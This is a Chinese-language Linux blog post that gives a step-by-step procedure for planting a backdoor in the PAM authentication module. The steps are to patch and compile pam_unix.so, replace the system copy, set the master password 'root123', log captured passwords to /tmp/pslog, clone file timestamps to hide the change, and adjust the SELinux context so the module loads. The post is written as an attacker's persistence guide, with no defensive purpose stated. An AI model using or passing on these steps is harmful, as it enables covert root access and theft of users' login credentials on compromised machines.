分类: LINUX
2016-05-27 11:25:00
PAM有许多版本,我们首先要从官方下载目标所使用的PAM源码包,并在本地修改后编译生成出pam_unix.so文件进行替换
获取目标系统所使用的PAM版本:
rpm -qa|grep pam
下载后,在对应的系统环境下(32或x86_64位系统下)编译生成后门,patch目录下的“pam_unix_auth.c.patch”文件就是
补丁文件,pam_unix_auth.c 是PAM
1.1.1版本pam_unix.so的源文件,仅作参考。我们将补丁文件移动到源码目录,并使用patch命令对PAM源代码打补丁,然后编译生成即可。
mv pam_unix_auth.c.patch Linux-PAM-1.1.1/modules/pam_unix/
cd Linux-PAM-1.1.1/modules/pam_unix
patch < pam_unix_auth.c.patch
cd ../../
./configure & make
编译完后的文件在:modules/pam_unix/.libs/pam_unix.so
后门的默认密码:root123
记录密码的文件:/tmp/pslog
将生成的pam_uninx.so文件覆盖/lib/secruity/pam_unix.so或/lib64/security/pam_unix.so(记得备份原始文件),修改文件属性,手动建立密码保存文件,并使用touch命令克隆文件时间,如果selinux是开启的环境,一定要关掉或者设置好上下文pam_unix.so才能正常工作,搞定ok。
手动创建密码文件:
touch /tmp/pslog;chmod a+w /tmp/pslog
克隆原始文件时间:
touch pam_unix.so -r pam_unix.so.src
查看Selinux上下文:
ls -Z pam_unix.so.src (备份的原始文件)
设置Selinux上下文:
chcon –reference=pam_unix.so.src pam_unix.so
编译报错问题:
64位系统编译可能会遇到yywrap()函数未定义错误,只需安装flex软件包就可以正常编译了
示例:
yum install flex